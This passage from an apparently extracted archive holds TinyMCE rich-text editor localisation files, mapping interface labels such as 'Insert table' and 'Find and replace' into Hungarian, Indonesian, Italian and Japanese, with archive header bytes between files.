k\u00fcls\u0151 c\u00edmnek t\u0171nik. Szeretn\u00e9d hozz\u00e1adni a
sz\u00fcks\u00e9ges http:\/\/ el\u0151tagot?",
"Paste or type a link": "Link be\u00edr\u00e1sa vagy
beilleszt\u00e9se",
"Target": "C\u00e9l",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Az URL amit megadt\u00e1l email
c\u00edmnek t\u0171nik. Szeretn\u00e9d hozz\u00e1adni a sz\u00fcks\u00e9ges
mailto: el\u0151tagot?",
"Insert\/edit link": "Link
beilleszt\u00e9se\/szerkeszt\u00e9se",
"Insert\/edit video": "Vide\u00f3
beilleszt\u00e9se\/szerkeszt\u00e9se",
"Media": "M\u00e9dia",
"Alternative source": "Alternat\u00edv forr\u00e1s",
"Paste your embed code below:": "Illeszd be a
be\u00e1gyaz\u00f3 k\u00f3dot alulra:",
"Insert video": "Vide\u00f3 beilleszt\u00e9se",
"Poster": "El\u0151n\u00e9zeti k\u00e9p",
"Insert\/edit media": "M\u00e9dia
besz\u00far\u00e1sa\/beilleszt\u00e9se",
"Embed": "Be\u00e1gyaz\u00e1s",
"Nonbreaking space": "Nem t\u00f6rhet\u0151 hely",
"Page break": "Oldalt\u00f6r\u00e9s",
"Paste as text": "Beilleszt\u00e9s
sz\u00f6vegk\u00e9nt",
"Preview": "El\u0151n\u00e9zet",
"Print": "Nyomtat\u00e1s",
"Save": "Ment\u00e9s",
"Could not find the specified string.": "A be\u00edrt
kifejez\u00e9s nem tal\u00e1lhat\u00f3.",
"Replace": "Csere",
"Next": "K\u00f6vetkez\u0151",
"Whole words": "Csak ha ez a teljes sz\u00f3",
"Find and replace": "Keres\u00e9s \u00e9s csere",
"Replace with": "Csere erre",
"Find": "Keres\u00e9s",
"Replace all": "Az \u00f6sszes cser\u00e9je",
"Match case": "Kis \u00e9s nagybet\u0171k
megk\u00fcl\u00f6nb\u00f6ztet\u00e9se",
"Prev": "El\u0151z\u0151",
"Spellcheck": "Helyes\u00edr\u00e1s
ellen\u0151rz\u00e9s",
"Finish": "Befejez\u00e9s",
"Ignore all": "Mindent figyelmen k\u00edv\u00fcl hagy",
"Ignore": "Figyelmen k\u00edv\u00fcl hagy",
"Add to Dictionary": "Sz\u00f3t\u00e1rhoz ad",
"Insert row before": "Sor besz\u00far\u00e1sa
el\u00e9",
"Rows": "Sorok",
"Height": "Magass\u00e1g",
"Paste row after": "Sor beilleszt\u00e9se
m\u00f6g\u00e9",
"Alignment": "Igaz\u00edt\u00e1s",
"Border color": "Szeg\u00e9ly sz\u00edne",
"Column group": "Oszlop csoport",
"Row": "Sor",
"Insert column before": "Oszlop besz\u00far\u00e1sa
el\u00e9",
"Split cell": "Cell\u00e1k
sz\u00e9tv\u00e1laszt\u00e1sa",
"Cell padding": "Cella m\u00e9rete",
"Cell spacing": "Cell\u00e1k t\u00e1vols\u00e1ga",
"Row type": "Sor t\u00edpus",
"Insert table": "T\u00e1bl\u00e1zat beilleszt\u00e9se",
"Body": "Sz\u00f6vegt\u00f6rzs",
"Caption": "Felirat",
"Footer": "L\u00e1bl\u00e9c",
"Delete row": "Sor t\u00f6rl\u00e9se",
"Paste row before": "Sor beilleszt\u00e9se el\u00e9",
"Scope": "Hat\u00f3k\u00f6r",
"Delete table": "T\u00e1bl\u00e1zat t\u00f6rl\u00e9se",
"H Align": "V\u00edzszintes igaz\u00edt\u00e1s",
"Top": "Fel\u00fcl",
"Header cell": "Fejl\u00e9c cella",
"Column": "Oszlop",
"Row group": "Sor csoport",
"Cell": "Cella",
"Middle": "K\u00f6z\u00e9pen",
"Cell type": "Cella t\u00edpusa",
"Copy row": "Sor m\u00e1sol\u00e1sa",
"Row properties": "Sor tulajdons\u00e1gai",
"Table properties": "T\u00e1bl\u00e1zat
tulajdons\u00e1gok",
"Bottom": "Alul",
"V Align": "F\u00fcgg\u0151leges igaz\u00edt\u00e1s",
"Header": "Fejl\u00e9c",
"Right": "Jobb",
"Insert column after": "Oszlop besz\u00far\u00e1sa
m\u00f6g\u00e9",
"Cols": "Oszlopok",
"Insert row after": "Sor besz\u00far\u00e1sa
m\u00f6g\u00e9",
"Width": "Sz\u00e9less\u00e9g",
"Cell properties": "Cella tulajdons\u00e1gok",
"Left": "Bal",
"Cut row": "Sor kiv\u00e1g\u00e1sa",
"Delete column": "Oszlop t\u00f6rl\u00e9se",
"Center": "K\u00f6z\u00e9p",
"Merge cells": "Cell\u00e1k egyes\u00edt\u00e9se",
"Insert template": "Sablon beilleszt\u00e9se",
"Templates": "Sablonok",
"Background color": "H\u00e1tt\u00e9r sz\u00edn",
"Custom...": "Egy\u00e9ni...",
"Custom color": "Egy\u00e9ni sz\u00edn",
"No color": "Nincs sz\u00edn",
"Text color": "Sz\u00f6veg sz\u00edne",
"Table of Contents": "Tartalomjegyz\u00e9k",
"Show blocks": "Blokkok mutat\u00e1sa",
"Show invisible characters": "L\u00e1thatatlan karakterek
mutat\u00e1sa",
"Words: {0}": "Szavak: {0}",
"Insert": "Beilleszt\u00e9s",
"File": "F\u00e1jl",
"Edit": "Szerkeszt\u00e9s",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rich Text ter\u00fclet. Nyomj ALT-F9-et a
men\u00fch\u00f6z. Nyomj ALT-F10-et az eszk\u00f6zt\u00e1rhoz. Nyomj
ALT-0-t a s\u00fag\u00f3hoz",
"Tools": "Eszk\u00f6z\u00f6k",
"View": "N\u00e9zet",
"Table": "T\u00e1bl\u00e1zat",
"Format": "Form\u00e1tum"
});PKR��[�!���tinymce/langs/id.jsnu�[���tinymce.addI18n('id',{
"Cut": "Penggal",
"Heading 5": "Judul 5",
"Header 2": "Judul 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Browser anda tidak mendukung akses langsung ke clipboard. Silahkan
gunakan Ctrl+X\/C\/V dari keyboard.",
"Heading 4": "Judul 4",
"Div": "Div",
"Heading 2": "Judul 2",
"Paste": "Tempel",
"Close": "Tutup",
"Font Family": "Jenis Huruf",
"Pre": "Pre",
"Align right": "Rata kanan",
"New document": "Dokumen baru",
"Blockquote": "Kutipan",
"Numbered list": "Daftar bernomor",
"Heading 1": "Judul 1",
"Headings": "Judul",
"Increase indent": "Tambah inden",
"Formats": "Format",
"Headers": "Judul",
"Select all": "Pilih semua",
"Header 3": "Judul 3",
"Blocks": "Blok",
"Undo": "Batalkan",
"Strikethrough": "Coret",
"Bullet list": "Daftar bersimbol",
"Header 1": "Judul 1",
"Superscript": "Superskrip",
"Clear formatting": "Hapus format",
"Font Sizes": "Ukuran Huruf",
"Subscript": "Subskrip",
"Header 6": "Judul 6",
"Redo": "Ulangi",
"Paragraph": "Paragraf",
"Ok": "Ok",
"Bold": "Tebal",
"Code": "Code",
"Italic": "Miring",
"Align center": "Rata tengah",
"Header 5": "Judul 5",
"Heading 6": "Judul 6",
"Heading 3": "Judul 3",
"Decrease indent": "Turunkan inden",
"Header 4": "Judul 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Penempelan sekarang
dalam modus teks biasa. Konten sekarang akan disisipkan sebagai teks biasa
sampai Anda mamatikan pilihan ini.",
"Underline": "Garis bawah",
"Cancel": "Batal",
"Justify": "Penuh",
"Inline" : "Baris",
"Copy": "Salin",
"Align left": "Rata kiri",
"Visual aids": "Alat bantu visual",
"Lower Greek": "Huruf Kecil Yunani",
"Square": "Kotak",
"Default": "Bawaan",
"Lower Alpha": "Huruf Kecil",
"Circle": "Lingkaran",
"Disc": "Cakram",
"Upper Alpha": "Huruf Besar",
"Upper Roman": "Huruf Besar Romawi",
"Lower Roman": "Huruf Kecil Romawi",
"Name": "Nama",
"Anchor": "Jangkar",
"You have unsaved changes are you sure you want to navigate
away?": "Anda memiliki perubahan yang belum disimpan, yakin ingin
beralih ?",
"Restore last draft": "Muat kembali draft sebelumnya",
"Special character": "Karakter khusus",
"Source code": "Kode sumber",
"B": "B",
"R": "M",
"G": "H",
"Color": "Warna",
"Right to left": "Kanan ke kiri",
"Left to right": "Kiri ke kanan",
"Emoticons": "Emotikon",
"Robots": "Robot",
"Document properties": "Properti dokumwn",
"Title": "Judul",
"Keywords": "Kata kunci",
"Encoding": "Enkoding",
"Description": "Description",
"Author": "Penulis",
"Fullscreen": "Layar penuh",
"Horizontal line": "Garis horisontal",
"Horizontal space": "Spasi Horisontal",
"Insert\/edit image": "Sisip\/sunting gambar",
"General": "Umum",
"Advanced": "Lanjutan",
"Source": "Sumber",
"Border": "Batas",
"Constrain proportions": "Samakan proporsi",
"Vertical space": "Spasi vertikal",
"Image description": "Deskripsi Gambar",
"Style": "Gaya",
"Dimensions": "Dimensi",
"Insert image": "Sisipkan gambar",
"Zoom in": "Perbesar",
"Contrast": "Kontras",
"Back": "Kembali",
"Gamma": "Gamma",
"Flip horizontally": "Balik horisontal",
"Resize": "Ubah ukuran",
"Sharpen": "Ketajaman",
"Zoom out": "Perkecil",
"Image options": "Opsi Gambar",
"Apply": "Terapkan",
"Brightness": "Kecerahan",
"Rotate clockwise": "Putar searahjarumjam",
"Rotate counterclockwise": "Putar berlawananjarumjam",
"Edit image": "Sunting gambar",
"Color levels": "Tingkat warna",
"Crop": "Krop",
"Orientation": "Orientasi",
"Flip vertically": "Balik vertikal",
"Invert": "Kebalikan",
"Insert date\/time": "Sisipkan tanggal\/waktu",
"Remove link": "Buang tautan",
"Url": "Tautan",
"Text to display": "Teks yang ditampilkan",
"Anchors": "Jangkar",
"Insert link": "Sisipkan tautan",
"New window": "Jendela baru",
"None": "Tdk ada",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Tautan yang anda masukkan
sepertinya adalah tautan eksternal. Apakah Anda ingin menambahkan prefiks
http:\/\/ yang dibutuhkan?",
"Target": "Jendela Tujuan",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Tautan yang anda masukkan
sepertinya adalah alamat email. Apakah Anda ingin menambahkan prefiks
mailto: yang dibutuhkan?",
"Insert\/edit link": "Sisip\/sunting tautan",
"Insert\/edit video": "Sisip\/sunting video",
"Poster": "Penulis",
"Alternative source": "Sumber Alternatif",
"Paste your embed code below:": "Tempel kode yang diembed
dibawah ini:",
"Insert video": "Sisipkan video",
"Embed": "Embed",
"Nonbreaking space": "Spasi ",
"Page break": "Baris baru",
"Paste as text": "Tempel sebagai teks biasa",
"Preview": "Pratinjau",
"Print": "Cetak",
"Save": "Simpan",
"Could not find the specified string.": "Tidak dapat
menemukan string yang dimaksud.",
"Replace": "Ganti",
"Next": "Berikutnya",
"Whole words": "Semua kata",
"Find and replace": "Cari dan Ganti",
"Replace with": "Ganti dengan",
"Find": "Cari",
"Replace all": "Ganti semua",
"Match case": "Samakan besar kecil huruf",
"Prev": "Sebelumnya",
"Spellcheck": "Spellcheck",
"Finish": "Selesai",
"Ignore all": "Abaikan semua",
"Ignore": "Abaikan",
"Add to Dictionary": "Tambahkan ke kamus",
"Insert row before": "Sisipkan baris sebelum",
"Rows": "Barisan",
"Height": "Tinggi",
"Paste row after": "Tempel baris setelah",
"Alignment": "Penjajaran",
"Border color": "Warna batas",
"Column group": "Kelompok kolom",
"Row": "Baris",
"Insert column before": "Sisipkan kolom sebelum",
"Split cell": "Bagi sel",
"Cell padding": "Lapisan sel",
"Cell spacing": "Spasi sel",
"Row type": "Tipe baris",
"Insert table": "Sisipkan tabel",
"Body": "Body",
"Caption": "Caption",
"Footer": "Footer",
"Delete row": "Hapus baris",
"Paste row before": "Tempel baris sebelum",
"Scope": "Skup",
"Delete table": "Hapus tabel",
"H Align": "Rata Samping",
"Top": "Atas",
"Header cell": "Sel Header",
"Column": "Kolom",
"Row group": "Kelompok baris",
"Cell": "Sel",
"Middle": "Tengah",
"Cell type": "Tipe sel",
"Copy row": "Salin baris",
"Row properties": "Properti baris",
"Table properties": "Properti tabel",
"Bottom": "bawah",
"V Align": "Rata Atas",
"Header": "Header",
"Right": "Kanan",
"Insert column after": "Sisipkan kolom setelah",
"Cols": "Kolom",
"Insert row after": "Sisipkan baris setelah",
"Width": "Lebar",
"Cell properties": "Properti sel",
"Left": "Kiri",
"Cut row": "Penggal baris",
"Delete column": "Hapus kolom",
"Center": "Tengah",
"Merge cells": "Gabung sel",
"Insert template": "Sisipkan templat",
"Templates": "Templat",
"Background color": "Warna latar",
"Custom...": "Atur sendiri...",
"Custom color": "Warna Sendiri",
"No color": "Tidak berwarna",
"Text color": "Warna teks",
"Show blocks": "Tampilkan blok",
"Show invisible characters": "Tampilkan karakter tak
tampak",
"Words: {0}": "Kata: {0}",
"Insert": "Sisip",
"File": "Berkas",
"Edit": "Sunting",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Area teks kaya. Tekan ALT-F9 untuk menu.
Tekan ALT-F10 untuk toolbar. Tekan ALT-0 untuk bantuan",
"Tools": "Alat",
"View": "Tampilan",
"Table": "Tabel",
"Format": "Format"
});PKR��[-5
J
!
!tinymce/langs/it.jsnu�[���tinymce.addI18n('it',{
"Cut": "Taglia",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Il tuo
browser non supporta l'accesso diretto negli Appunti. Per favore usa i
tasti di scelta rapida Ctrl+X\/C\/V.",
"Paste": "Incolla",
"Paste as text": "Incolla come testo",
"Close": "Chiudi",
"Align right": "Allinea a Destra",
"New document": "Nuovo Documento",
"Numbered list": "Elenchi Numerati",
"Increase indent": "Aumenta rientro",
"Formats": "Formattazioni",
"Select all": "Seleziona tutto",
"Undo": "Annulla",
"Strikethrough": "Barrato",
"Bullet list": "Elenchi Puntati",
"Superscript": "Apice",
"Clear formatting": "Cancella formattazione",
"Subscript": "Pedice",
"Redo": "Ripristina",
"Ok": "Ok",
"Bold": "Grassetto",
"Italic": "Corsivo",
"Align center": "Allinea al Centro",
"Decrease indent": "Riduci rientro",
"Underline": "Sottolineato",
"Cancel": "Cancella",
"Justify": "Giustifica",
"Copy": "Copia",
"Align left": "Allinea a Sinistra",
"Visual aids": "Elementi Visivi",
"Lower Greek": "Minuscolo lettere greche",
"Square": "Quadrato",
"Default": "Predefinito",
"Lower Alpha": "Minuscolo alfanumerico",
"Circle": "Cerchio",
"Disc": "Disco",
"Upper Alpha": "Maiuscolo alfanumerico",
"Upper Roman": "Maiuscolo lettere romane",
"Lower Roman": "Minuscolo lettere romane",
"Name": "Nome",
"Anchor": "Ancora",
"Anchors": "Ancora",
"You have unsaved changes are you sure you want to navigate
away?": "Non hai salvato delle modifiche, sei sicuro di
andartene?",
"Restore last draft": "Ripristina l'ultima
bozza.",
"Special character": "Inserisci Carattere Speciale",
"Source code": "Codice Sorgente",
"Right to left": "Da Destra a Sinistra",
"Left to right": "Da Sinistra a Destra",
"Emoticons": "Faccine",
"Robots": "Robot",
"Document properties": "Propriet\u00e0 Documento",
"Title": "Titolo",
"Keywords": "Parola Chiave",
"Encoding": "Codifica",
"Description": "Descrizione",
"Author": "Autore",
"Fullscreen": "Schermo Intero",
"Horizontal line": "Linea Orizzontale",
"Horizontal space": "Spazio Orizzontale",
"Insert\/edit image": "Aggiungi\/Modifica Immagine",
"General": "Generale",
"Advanced": "Avanzato",
"Source": "URL",
"Border": "Bordo",
"Constrain proportions": "Mantieni Proporzioni",
"Vertical space": "Spazio Verticale",
"Image description": "Descrizione Immagine",
"Style": "Stile",
"Dimensions": "Dimensioni",
"Insert image": "Inserisci immagine",
"Insert date\/time": "Inserisci Data\/Ora",
"Remove link": "Rimuovi Link",
"Url": "Url",
"Text to display": "Testo da Visualizzare",
"Insert link": "Inserisci Link",
"New window": "Nuova Finestra",
"None": "No",
"Target": "Target",
"Insert\/edit link": "Inserisci\/Modifica link",
"Insert\/edit video": "Inserisci\/Modifica video",
"Poster": "Anteprima",
"Alternative source": "Alternativo",
"Paste your embed code below:": "Incolla qui il codice da
incorporare:",
"Insert video": "Inserisci Video",
"Embed": "Incorporare",
"Nonbreaking space": "Spazio unificatore",
"Preview": "Anteprima",
"Print": "Stampa",
"Save": "Salva",
"Could not find the specified string.": "Impossibile trovare
la parola specifica.",
"Replace": "Sostituisci",
"Next": "Successivo",
"Whole words": "Parole intere",
"Find and replace": "Trova e Sostituisci",
"Replace with": "Sostituisci con",
"Find": "Trova",
"Replace all": "Sostituisci tutto",
"Match case": "Maiuscole\/Minuscole ",
"Prev": "Precedente",
"Spellcheck": "Controllo ortografico",
"Finish": "Termina",
"Ignore all": "Ignora tutto",
"Ignore": "Ignora",
"Insert row before": "Inserisci una Riga prima",
"Rows": "Righe",
"Height": "Altezza",
"Paste row after": "Incolla una Riga dopo",
"Alignment": "Allineamento",
"Column group": "Gruppo di Colonne",
"Row": "Riga",
"Insert column before": "Inserisci una Colonna prima",
"Split cell": "Dividi Cella",
"Cell padding": "Padding della Cella",
"Cell spacing": "Spaziatura della Cella",
"Row type": "Tipo di Riga",
"Insert table": "Inserisci Tabella",
"Body": "Body",
"Caption": "Didascalia",
"Footer": "Footer",
"Delete row": "Cancella Riga",
"Paste row before": "Incolla una Riga prima",
"Scope": "Campo",
"Delete table": "Cancella Tabella",
"Header cell": "cella d'intestazione",
"Column": "Colonna",
"Cell": "Cella",
"Header": "Header",
"Cell type": "Tipo di Cella",
"Copy row": "Copia Riga",
"Row properties": "Propriet\u00e0 della Riga",
"Table properties": "Propriet\u00e0 della Tabella",
"Row group": "Gruppo di Righe",
"Right": "Destra",
"Insert column after": "Inserisci una Colonna dopo",
"Cols": "Colonne",
"Insert row after": "Inserisci una Riga dopo",
"Width": "Larghezza",
"Cell properties": "Propriet\u00e0 della Cella",
"Left": "Sinistra",
"Cut row": "Taglia Riga",
"Delete column": "Cancella Colonna",
"Center": "Centro",
"Merge cells": "Unisci Cella",
"Insert template": "Inserisci Template",
"Templates": "Template",
"Background color": "Colore Sfondo",
"Text color": "Colore Testo",
"Show blocks": "Mostra Blocchi",
"Show invisible characters": "Mostra Caratteri
Invisibili",
"Words: {0}": "Parole: {0}",
"Insert": "Inserisci",
"File": "File",
"Edit": "Modifica",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rich Text Area. Premi ALT-F9 per il
men\u00f9. Premi ALT-F10 per la barra degli strumenti. Premi ALT-0 per
l'aiuto.",
"Tools": "Strumenti",
"View": "Visualizza",
"Table": "Tabella",
"Format": "Formato",
"Inline": "Formato",
"Blocks": "Blocchi",
"Zoom in": "Zoom",
"Contrast": "Contrasto",
"Back": "Indietro",
"Gamma": "Gamma",
"Flip horizontally": "Capovolgi orizzontalmente",
"Resize": "Ridimensiona",
"Sharpen": "Affila",
"Zoom out": "Zoom indietro",
"Image options": "Opzioni immagine",
"Apply": "Applica",
"Brightness": "Luminosit\u00e0",
"Rotate clockwise": "Ruota in senso orario",
"Rotate counterclockwise": "Ruota in senso antiorario",
"Edit image": "Modifica Immagine",
"Color levels": "Livelli colore",
"Crop": "Rifila",
"Orientation": "Orientamento",
"Flip vertically": "Capovolgi verticalmente",
"Invert": "Inverti",
"Font Family": "Famiglia Carattere",
"Font Sizes": "Grandezza Carattere",
"Paragraph": "Paragrafo",
"Address": "Indirizzo",
"Blockquote": "Citazione",
"Pre": "Preformattato",
"Code": "Codice",
"H Align": "Allineamento orizzontale",
"V Align": "Allineamento verticale",
"Top": "Sopra",
"Middle": "Al centro",
"Bottom": "Sotto",
"Headers": "Intestazioni",
"Header 1": "Intestazione 1",
"Header 2": "Intestazione 2",
"Header 3": "Intestazione 3",
"Header 4": "Intestazione 4",
"Header 5": "Intestazione 5",
"Header 6": "Intestazione 6",
"Headings": "Intestazioni",
"Heading 1": "Intestazione 1",
"Heading 2": "Intestazione 2",
"Heading 3": "Intestazione 3",
"Heading 4": "Intestazione 4",
"Heading 5": "Intestazione 5",
"Heading 6": "Intestazione 6",
"Preformatted": "Preformattato",
"Add to Dictionary": "Aggiungi al dizionario",
"Insert Time": "Inserisci ora",
"Insert nonbreaking space": "Inserisci uno spazio",
"Insert\/Edit code sample": "Inserisci\/modifica codice da
mostrare",
"Language": "Linguaggio",
"Toggle blockquote": "Testo quotato",
"Border color": "Colore bordo",
"Color": "Colore",
"Custom...": "Personalizza...",
"Custom color": "Personalizza colore",
"No color": "Nessun colore",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "L'Id dovrebbe
iniziare con una lettera, seguita solo da lettere, numeri, trattini, due
punti, virgole o underscore.",
"Insert/Edit code sample": "Inserisci/Modifica codice di
esempio",
"Language": "Lingua",
"Image": "Immagine",
"Date/time": "Data/ora",
"Link": "Link",
"Paste or type a link": "Incolla o scrivi un link",
"Insert/Edit Media": "Inserisci/Modifica oggetto
multimediale",
"Media": "Media",
"Table of Contents": "Tabella di contenuti",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "L'incolla è ora
in modalità di testo normale. I contenuti verranno incollati come testo
normale fino a quando non disattiverai questa opzione.",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "L'URL inserito sembra
essere un collegamento esterno. Vuoi aggiungere il prefisso necessario
http:\/\/?",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "L'URL inserito sembra essere
un indirizzo email. Vuoi aggiungere il prefisso necessario mailto:?"
});PKR��[IH��3�3tinymce/langs/ja.jsnu�[���tinymce.addI18n('ja',{
"Cut": "\u5207\u308a\u53d6\u308a",
"Heading 5": "\u898b\u51fa\u3057 5",
"Header 2": "\u30d8\u30c3\u30c0\u30fc 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u304a\u4f7f\u3044\u306e\u30d6\u30e9\u30a6\u30b6\u3067\u306f\u30af\u30ea\u30c3\u30d7\u30dc\u30fc\u30c9\u6a5f\u80fd\u3092\u5229\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u305b\u3093\u3002\u30ad\u30fc\u30dc\u30fc\u30c9\u306e\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\uff08Ctrl+X,
Ctrl+C, Ctrl+V\uff09\u3092\u304a\u4f7f\u3044\u4e0b\u3055\u3044\u3002",
"Heading 4": "\u898b\u51fa\u3057 4",
"Div": "Div",
"Heading 2": "\u898b\u51fa\u3057 2",
"Paste": "\u8cbc\u308a\u4ed8\u3051",
"Close": "\u9589\u3058\u308b",
"Font Family":
"\u30d5\u30a9\u30f3\u30c8\u30d5\u30a1\u30df\u30ea\u30fc",
"Pre": "Pre",
"Align right": "\u53f3\u5bc4\u305b",
"New document":
"\u65b0\u898f\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8",
"Blockquote": "\u5f15\u7528",
"Numbered list":
"\u756a\u53f7\u4ed8\u304d\u7b87\u6761\u66f8\u304d",
"Heading 1": "\u898b\u51fa\u3057 1",
"Headings": "\u898b\u51fa\u3057",
"Increase indent":
"\u30a4\u30f3\u30c7\u30f3\u30c8\u3092\u5897\u3084\u3059",
"Formats": "\u66f8\u5f0f",
"Headers": "\u30d8\u30c3\u30c0\u30fc",
"Select all": "\u5168\u3066\u3092\u9078\u629e",
"Header 3": "\u30d8\u30c3\u30c0\u30fc 3",
"Blocks": "\u30d6\u30ed\u30c3\u30af",
"Undo": "\u5143\u306b\u623b\u3059",
"Strikethrough": "\u53d6\u308a\u6d88\u3057\u7dda",
"Bullet list": "\u7b87\u6761\u66f8\u304d",
"Header 1": "\u30d8\u30c3\u30c0\u30fc 1",
"Superscript": "\u4e0a\u4ed8\u304d\u6587\u5b57",
"Clear formatting":
"\u66f8\u5f0f\u3092\u30af\u30ea\u30a2",
"Font Sizes":
"\u30d5\u30a9\u30f3\u30c8\u30b5\u30a4\u30ba",
"Subscript": "\u4e0b\u4ed8\u304d\u6587\u5b57",
"Header 6": "\u30d8\u30c3\u30c0\u30fc 6",
"Redo": "\u3084\u308a\u76f4\u3059",
"Paragraph": "\u6bb5\u843d",
"Ok": "OK",
"Bold": "\u592a\u5b57",
"Code": "\u30b3\u30fc\u30c9",
"Italic": "\u659c\u4f53",
"Align center": "\u4e2d\u592e\u63c3\u3048",
"Header 5": "\u30d8\u30c3\u30c0\u30fc 5",
"Heading 6": "\u898b\u51fa\u3057 6",
"Heading 3": "\u898b\u51fa\u3057 3",
"Decrease indent":
"\u30a4\u30f3\u30c7\u30f3\u30c8\u3092\u6e1b\u3089\u3059",
"Header 4": "\u30d8\u30c3\u30c0\u30fc 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u8cbc\u308a\u4ed8\u3051\u306f\u73fe\u5728\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u30e2\u30fc\u30c9\u3067\u3059\u3002\u3053\u306e\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u30aa\u30d5\u306b\u3057\u306a\u3044\u9650\u308a\u5185\u5bb9\u306f\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u3068\u3057\u3066\u8cbc\u308a\u4ed8\u3051\u3089\u308c\u307e\u3059\u3002",
"Underline": "\u4e0b\u7dda",
"Cancel": "\u30ad\u30e3\u30f3\u30bb\u30eb",
"Justify": "\u4e21\u7aef\u63c3\u3048",
"Inline": "\u30a4\u30f3\u30e9\u30a4\u30f3",
"Copy": "\u30b3\u30d4\u30fc",
"Align left": "\u5de6\u5bc4\u305b",
"Visual aids":
"\u8868\u306e\u67a0\u7dda\u3092\u70b9\u7dda\u3067\u8868\u793a",
"Lower Greek":
"\u5c0f\u6587\u5b57\u306e\u30ae\u30ea\u30b7\u30e3\u6587\u5b57",
"Square": "\u56db\u89d2",
"Default": "\u30c7\u30d5\u30a9\u30eb\u30c8",
"Lower Alpha":
"\u5c0f\u6587\u5b57\u306e\u30a2\u30eb\u30d5\u30a1\u30d9\u30c3\u30c8",
"Circle": "\u5186",
"Disc": "\u70b9",
"Upper Alpha":
"\u5927\u6587\u5b57\u306e\u30a2\u30eb\u30d5\u30a1\u30d9\u30c3\u30c8",
"Upper Roman":
"\u5927\u6587\u5b57\u306e\u30ed\u30fc\u30de\u6570\u5b57",
"Lower Roman":
"\u5c0f\u6587\u5b57\u306e\u30ed\u30fc\u30de\u6570\u5b57",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.":
"ID\u306f\u6587\u5b57\u3067\u59cb\u307e\u308a\u3001\u6587\u5b57\u3001\u6570\u5b57\u3001\u30c0\u30c3\u30b7\u30e5\u3001\u30c9\u30c3\u30c8\u3001\u30b3\u30ed\u30f3\u307e\u305f\u306f\u30a2\u30f3\u30c0\u30fc\u30b9\u30b3\u30a2\u3067\u59cb\u307e\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002",
"Name": "\u30a2\u30f3\u30ab\u30fc\u540d",
"Anchor":
"\u30a2\u30f3\u30ab\u30fc\uff08\u30ea\u30f3\u30af\u306e\u5230\u9054\u70b9\uff09",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?":
"\u307e\u3060\u4fdd\u5b58\u3057\u3066\u3044\u306a\u3044\u5909\u66f4\u304c\u3042\u308a\u307e\u3059\u304c\u3001\u672c\u5f53\u306b\u3053\u306e\u30da\u30fc\u30b8\u3092\u96e2\u308c\u307e\u3059\u304b\uff1f",
"Restore last draft":
"\u524d\u56de\u306e\u4e0b\u66f8\u304d\u3092\u5fa9\u6d3b\u3055\u305b\u308b",
"Special character": "\u7279\u6b8a\u6587\u5b57",
"Source code": "\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9",
"Language": "\u8a00\u8a9e",
"Insert\/Edit code sample":
"\u30b3\u30fc\u30c9\u30b5\u30f3\u30d7\u30eb\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u30ab\u30e9\u30fc",
"Right to left": "\u53f3\u304b\u3089\u5de6",
"Left to right": "\u5de6\u304b\u3089\u53f3",
"Emoticons": "\u7d75\u6587\u5b57",
"Robots": "\u30ed\u30dc\u30c3\u30c4",
"Document properties":
"\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3",
"Title": "\u30bf\u30a4\u30c8\u30eb",
"Keywords": "\u30ad\u30fc\u30ef\u30fc\u30c9",
"Encoding":
"\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0",
"Description":
"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u5185\u5bb9",
"Author": "\u8457\u8005",
"Fullscreen": "\u5168\u753b\u9762\u8868\u793a",
"Horizontal line": "\u6c34\u5e73\u7f6b\u7dda",
"Horizontal space":
"\u6a2a\u65b9\u5411\u306e\u4f59\u767d",
"Insert\/edit image":
"\u753b\u50cf\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"General": "\u4e00\u822c",
"Advanced": "\u8a73\u7d30\u8a2d\u5b9a",
"Source": "\u753b\u50cf\u306e\u30bd\u30fc\u30b9",
"Border": "\u67a0\u7dda",
"Constrain proportions":
"\u7e26\u6a2a\u6bd4\u3092\u4fdd\u6301\u3059\u308b",
"Vertical space":
"\u7e26\u65b9\u5411\u306e\u4f59\u767d",
"Image description":
"\u753b\u50cf\u306e\u8aac\u660e\u6587",
"Style": "\u30b9\u30bf\u30a4\u30eb",
"Dimensions":
"\u753b\u50cf\u30b5\u30a4\u30ba\uff08\u6a2a\u30fb\u7e26\uff09",
"Insert image": "\u753b\u50cf\u306e\u633f\u5165",
"Image": "\u753b\u50cf",
